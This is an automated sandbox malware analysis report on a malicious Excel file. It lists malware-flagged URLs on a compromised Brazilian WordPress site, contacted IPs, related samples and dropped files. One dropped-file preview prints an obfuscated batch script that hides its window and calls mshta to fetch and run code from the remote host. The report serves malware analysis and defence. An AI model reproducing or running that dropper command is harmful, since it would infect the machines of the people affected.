http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6/	mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://graph.windows.net	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6G	mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6E	mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://info.template-help.com/help/	style[1].css.10.dr	false		high
https://ncus.contentsync.	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://weather.service.msn.com/data.aspx	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0fC:	mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	mshta.exe, 0000000A.00000002.505214666.0000000000840000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6N	mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://www.gnu.org/copyleft/gpl.html	mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://wus2.contentsync.	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/Cher	mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3Z	mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://o365auditrealtimeingestion.manage.office.com	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0L	mshta.exe, 0000000A.00000003.381603478.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://outlook.office365.com/api/v1.0/me/Activities	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-includes/CherryFramework/style.css)6	mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vimeo.com/channels/:channel/:id	mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	false		high
https://khms0.google.com/kh?v=143	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://clients.config.office.net/user/v1.0/android/policies	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png&c	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2x	mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3C	mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txt#J01	mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngbXF	mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://substrate.office.com/search/api/v1/SearchHistory	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://daneden.me/animate	animate-logo[1].css.10.dr	false	URL Reputation: safe	unknown
https://csp.withgoogle.com/csp/apps-themestL	mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	www3.l.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	netdna.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
187.45.240.69	facextrade.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	684651
Start date and time:	2022-08-16 11:04:27 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@13/93@4/5
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 92% Number of executed functions: 162 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 52.109.32.24, 52.109.12.21, 52.109.88.40, 142.250.181.234, 142.250.185.138, 172.217.16.195
Excluded domains from analysis (whitelisted): www.bing.com, fonts.googleapis.com, fs.microsoft.com, prod-w.nexus.live.com.akadns.net, fonts.gstatic.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, maps.googleapis.com, login.live.com, store-images.s-microsoft.com, config.officeapps.live.com, sls.update.microsoft.com, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target mshta.exe, PID 5520 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:06:02	API Interceptor	10x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.18.10.207	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
187.45.240.69	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17232.15725.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
	SecuriteInfo.com.Exploit.Siggen3.17232.14069.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17232.19740.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17232.13662.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
	SecuriteInfo.com.Exploit.Siggen3.17232.10970.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17232.7754.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
	SecuriteInfo.com.Exploit.Siggen3.17232.17500.xls	Get hash	malicious	Browse	facextrade.com.br/wp-imcludes/as/444.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gstaticadssl.l.google.com	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	172.217.16.195
	https://ipfs.io/ipfs/QmfAndQD4wG6xZpoY4WWL48A9H5qKFYHayWXGx5CvY9zqW?filename=index.html#info@discoversaudi.sa	Get hash	malicious	Browse	172.217.16.195
	https://1drv.ms/o/s!BNQ8gxErh5UyqzXqmlklq3e6FqQy?e=zWDj8VlDB0yYeUjfLHMDHg&at=9	Get hash	malicious	Browse	172.217.16.195
	http://asweptomnd.bluwma.ml/5690394.html	Get hash	malicious	Browse	172.217.16.195
	http://0gomovies.ru	Get hash	malicious	Browse	172.217.16.195
	https://issuu.com/file.pdf_17kb/docs/faxmail_delivery_hs0087g?fr=sY2E1MzUyODMyOTY	Get hash	malicious	Browse	172.217.16.195
	https://cvent.me/Z9n2bO?i=nytmP1uA8EeMVcihhIIg-w&locale=en-US	Get hash	malicious	Browse	172.217.16.195
	http://mybuilder.ssdpage.com/free/acc15/mail/?=65311341	Get hash	malicious	Browse	172.217.16.195
facextrade.com.br	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.15725.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.14069.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.19740.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13662.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.10970.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.7754.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.17500.xls	Get hash	malicious	Browse	187.45.240.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.11.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.10.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Trojan7000000f1.4274.exe	Get hash	malicious	Browse	162.159.129.233
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	104.18.11.207
	SWIFT COPY & ADVICE.vbs	Get hash	malicious	Browse	188.114.97.3
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	104.18.10.207
	j5qTX83wwG.exe	Get hash	malicious	Browse	104.18.115.97
	ATT11280.htm	Get hash	malicious	Browse	104.17.25.14
	DHL_227040 al#U0131nd#U0131 belgesi,pdf.exe	Get hash	malicious	Browse	162.159.135.233
	Fab's AutoBackup Pro 7.10.0 Build 5673.exe	Get hash	malicious	Browse	188.114.97.3
	VThQPDycxy.bat	Get hash	malicious	Browse	104.21.43.80
LocawebServicosdeInternetSABR	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.15725.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.14069.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.19740.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13662.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.10970.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.7754.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.17500.xls	Get hash	malicious	Browse	187.45.240.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Order 90541#.docx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.W32.AIDetect.malware2.21733.exe	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	142.250.181.238
	00187679526.xlsx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Trojan7000000f1.4274.exe	Get hash	malicious	Browse	142.250.181.238
	DHL_227040 al#U0131nd#U0131 belgesi,pdf.exe	Get hash	malicious	Browse	142.250.181.238
	cs.bat	Get hash	malicious	Browse	142.250.181.238
	VThQPDycxy.bat	Get hash	malicious	Browse	142.250.181.238
	NextEra RFQ and Business Proposition.docx	Get hash	malicious	Browse	142.250.181.238
	92D5A9E906556A206749301D8CDEC4032B9FA5A8A30A8.exe	Get hash	malicious	Browse	142.250.181.238
	https://siasky.net/KAAceK5527HyhKBu2WqRItTIifnOrPzVEjPuMqlXUlKRBQ	Get hash	malicious	Browse	142.250.181.238
	FgHKF9V3FB.exe	Get hash	malicious	Browse	142.250.181.238
	https://issuu.com/file.pdf_17kb/docs/faxmail_delivery_hs0087g?fr=sY2E1MzUyODMyOTY	Get hash	malicious	Browse	142.250.181.238
	https://www.almarwahtanksuae.com/nu/#cm9kbmV5QHNraW1heC5jb20uYXU=	Get hash	malicious	Browse	142.250.181.238
	https://docs.google.com/presentation/d/e/2PACX-1vSU_FEiyu-gmac-VPaEaXqUbNKvs22dLZy1uvbXhZYw8a3d3_sqDueNGVBLuw4IT9UbtShAJmxz4Pt-/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Browse	142.250.181.238
	https://protected.frostandgilchrist.com/	Get hash	malicious	Browse	142.250.181.238
	Re Re Re Re #U0e02#U0e2d#U0e02#U0e22#U0e32#U0e22#U0e1e#U0e31#U0e19#U0e18#U0e38#U0e4c.exe	Get hash	malicious	Browse	142.250.181.238
	http://popcorntime-upd.xyz/?app_id=T4PSEC&hid=0c5247dc1a126f9bb3277f86bfa78ebd&ver=6.2.1.17&os=WIN060200	Get hash	malicious	Browse	142.250.181.238
	https://www.dropbox.com/scl/fi/jx7ou1xapexhaml2u2f55/You-have-been-invited-you-to-view-the-folder-PO48993_49110_.paper?dl=0&rlkey=3uyxpr3q1wftt7a6pywj57z0o	Get hash	malicious	Browse	142.250.181.238
	https://gramagailsfamily.com/protected	Get hash	malicious	Browse	142.250.181.238

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	4.492674933696318
Encrypted:	false
SSDEEP:	24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
MD5:	20484F4A7D41C5F54A0DC7A7D35C2155
SHA1:	0B197C48D648BBDC131DCA6D4FB89903303372F9
SHA-256:	6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
SHA-512:	94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
Malicious:	true
Preview:	call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\E5F0NRSV\facextrade.com[1].xml

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
